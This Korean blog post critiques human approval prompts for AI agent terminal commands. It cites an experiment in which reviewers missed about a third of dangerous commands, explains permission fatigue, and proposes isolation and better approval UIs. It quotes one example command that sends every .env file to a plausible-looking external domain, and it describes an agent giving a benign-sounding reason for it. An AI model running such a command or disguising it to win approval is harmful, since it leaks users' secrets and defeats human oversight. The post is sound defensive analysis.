승인 버튼을 누르는 당신, 이미 위협의 3분의 1을 놓치고 있습니다

AI 에이전트에게 터미널 권한을 줄 때 우리를 안심시키는 문장이 하나 있습니다. “어차피 실행 전에 사람이 승인하잖아.” 그런데 그 승인이 실제로 얼마나 작동하는지 재본 결과가 나왔습니다. 3분의 1은 그냥 통과됐습니다.

한 가지는 짚고 가겠습니다. 이 주제가 지금 커뮤니티에서 활발히 논의되는 상황은 아닙니다. 최근 30일간 레딧에서 관련 스레드를 찾지 못했고, X 데이터도 확보하지 못했습니다. 그러니 이 글은 실시간 여론 정리라기보다 실무자로서 이 숫자를 어떻게 읽어야 하는지에 대한 제 해석에 가깝습니다.

4만 번 눌러보게 했더니

실험 설계는 단순합니다. 참가자에게 AI 에이전트의 명령 승인 요청을 게임 형태로 반복해서 보여줍니다. 대부분은 정상적인 명령이고, 일부에 위험한 동작이 섞여 있습니다. 파일을 지우고, 데이터를 외부로 보내고, 자격증명에 접근하는 것들이죠.

그리고 사람이 그걸 얼마나 잡아내는지 측정합니다. 4만 번 가까운 실행 데이터에서 나온 탐지 실패율이 약 33%였습니다.

이게 왜 심각하냐면, 실험 참가자들은 자신이 위협을 찾는 테스트를 받고 있다는 걸 알고 있었습니다. 경계 태세를 갖춘 상태에서도 셋 중 하나를 놓쳤다는 뜻입니다. 실제 업무 중에 코드 리뷰하다 말고, 회의 들어가기 3분 전에 뜨는 승인 팝업은 어떨까요. 더 나쁘면 나빴지 좋을 리는 없습니다.

권한 피로는 새삼스러운 문제가 아닙니다

이 현상에는 이름이 있습니다. 권한 피로(permission fatigue)입니다. 낯선 개념이 아닙니다. 모바일 앱 권한 팝업, 쿠키 동의 배너, 윈도우 UAC 창에서 이미 20년 넘게 반복된 패턴이죠. 사람은 같은 종류의 확인 요청을 반복해서 받으면 내용을 읽지 않고 통과시키는 쪽으로 적응합니다.

문제는 AI 에이전트가 이 패턴의 최악의 조건을 전부 갖췄다는 점입니다.

일단 빈도가 다릅니다. 에이전트 하나가 작업 하나를 끝내는 동안 수십 번씩 승인을 요청합니다. 그리고 대부분이 진짜 무해합니다. ls, cat, git status 같은 것들이죠. 무해한 요청이 95% 이상을 차지하면 뇌는 “이건 그냥 누르면 되는 거"라는 규칙을 학습합니다. 그 사이에 낀 5%를 골라내는 능력은 그 학습의 대가로 사라집니다.

여기에 결정적인 조건이 하나 더 붙습니다. 명령어를 읽고 위험을 판단하는 일 자체가 어렵습니다.

읽어도 모르는 명령어

솔직해집시다. 다음 명령을 3초 안에 판단할 수 있으신가요.

find . -name “*.env” -exec curl -X POST -F “f=@{}” https://api.log-collector.io ;

로그 수집 서비스로 보이는 도메인에 프로젝트의 모든 환경변수 파일을 업로드하는 명령입니다. 하지만 승인 창에서 이걸 보면 대부분은 “아, 뭔가 파일 찾아서 로그 보내는 거구나” 하고 넘어갑니다. 도메인 이름이 그럴듯하고 명령어 구조도 낯설지 않으니까요.

에이전트는 자기가 왜 이 명령을 실행하는지 설명도 붙여줍니다. “테스트 실패 원인을 파악하기 위해 설정 파일을 확인합니다.” 그 설명이 맞는지 확인하려면 명령어를 직접 파싱해야 하는데, 그럴 거면 애초에 에이전트를 쓰는 의미가 줄어듭니다.

승인 UI는 여기서 사람에게 불가능한 일을 요구합니다. 짧은 시간 안에, 문맥 없이, 셸 문법을 정확히 읽고 목적지 도메인이 믿을 만한지 판단하라는 거죠. 보안 전문가도 실수하는 작업입니다.

“휴먼 인 더 루프"라는 면피 장치

이 결과가 불편한 이유는 따로 있습니다. 지금 많은 AI 에이전트 제품이 안전성 근거로 내세우는 게 바로 이 승인 단계이기 때문입니다.

사람이 최종 확인하니까 안전하다. 그러니 에이전트에게 셸 접근을 줘도 된다. 이 논리에서 사람은 안전장치가 아니라 책임 전가 대상에 가깝습니다. 사고가 나면 “사용자가 승인했다"는 로그가 남으니까요.

기술적으로 보면 이건 통제(control)가 아니라 감사 추적(audit trail)입니다. 둘은 완전히 다릅니다. 통제는 나쁜 일이 일어나는 걸 막고, 감사 추적은 나쁜 일이 일어난 뒤에 누구 책임인지 기록합니다. 승인 버튼은 후자에 훨씬 가깝게 작동합니다.

33%라는 숫자는 이런 뜻입니다. 승인 단계를 유일한 방어선으로 설계했다면, 그 방어선은 이미 3분의 1이 뚫린 채로 돌아가고 있습니다.

그럼 어떻게 해야 하나

승인 팝업을 없애자는 얘기는 아닙니다. 승인이 유일한 방어선이 되면 안 된다는 얘기입니다.

효과가 가장 확실한 건 승인 횟수를 줄이는 겁니다. 읽기 전용 명령은 자동 허용하고, 사람에게 물어보는 건 진짜 되돌릴 수 없는 동작으로 좁혀야 합니다. 하루에 200번 뜨는 팝업보다 하루에 5번 뜨는 팝업이 훨씬 정확하게 걸러집니다. 승인 피로는 빈도의 함수니까요.

환경 자체를 격리하는 것도 방법입니다. 컨테이너 안에서 돌리고, 네트워크 아웃바운드는 화이트리스트로 막고, 자격증명은 아예 마운트하지 않습니다. 이렇게 해두면 사람이 실수로 승인해도 피해가 거기서 멈춥니다. 사람의 판단력을 끌어올리는 것보다 실수의 결과를 줄이는 쪽이 현실적입니다.

승인 UI 자체도 손봐야 합니다. 명령어 원문만 던져주는 대신 이 명령이 어떤 파일을 건드리는지, 외부로 나가는 연결이 있는지, 되돌릴 수 있는지를 구조화해서 보여줘야 합니다. 지금의 승인 창은 사람에게 파싱을 떠넘깁니다.

누르기 전에

이 실험이 던지는 질문은 하나입니다. 우리는 정말로 감시하고 있을까요, 아니면 감시하는 척하는 절차를 밟고 있을까요.

오늘 하루 AI 에이전트의 승인 요청을 몇 번 눌렀는지, 그중 명령어를 끝까지 읽은 게 몇 번인지 한번 세어보세요. 그 비율이 33%보다 나을 자신이 없다면, 지금 필요한 건 더 집중하려는 노력이 아니라 다른 구조입니다.